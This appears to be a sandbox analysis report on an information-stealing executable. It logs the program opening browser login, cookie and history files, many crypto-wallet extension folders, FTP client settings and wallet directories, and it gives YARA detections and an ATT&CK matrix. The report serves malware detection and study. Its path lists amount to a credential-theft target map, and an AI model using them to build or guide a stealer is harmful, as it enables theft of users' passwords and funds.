Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 5328, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 00000020.00000002.3341551842.0000000001388000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2d569de7b1.exe PID: 7448, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5328, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 35.2.num.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.num.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.num.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.num.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.606f2f6db0.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.606f2f6db0.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.7RNKVR1EZ552XQ73.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000000.2977404002.0000000000481000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2884674962.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2319704443.00000000002D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3145991383.00000000000E1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.3221111651.0000000000481000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3155884712.0000000000B5B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3081987586.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2936306936.000000000124E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3235939586.0000000000481000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2279367623.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2934932135.00000000000E1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2993490502.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2992177721.0000000000481000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2320903364.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3237002232.0000000000D57000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7RNKVR1EZ552XQ73.exe PID: 5628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 606f2f6db0.exe PID: 8156, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
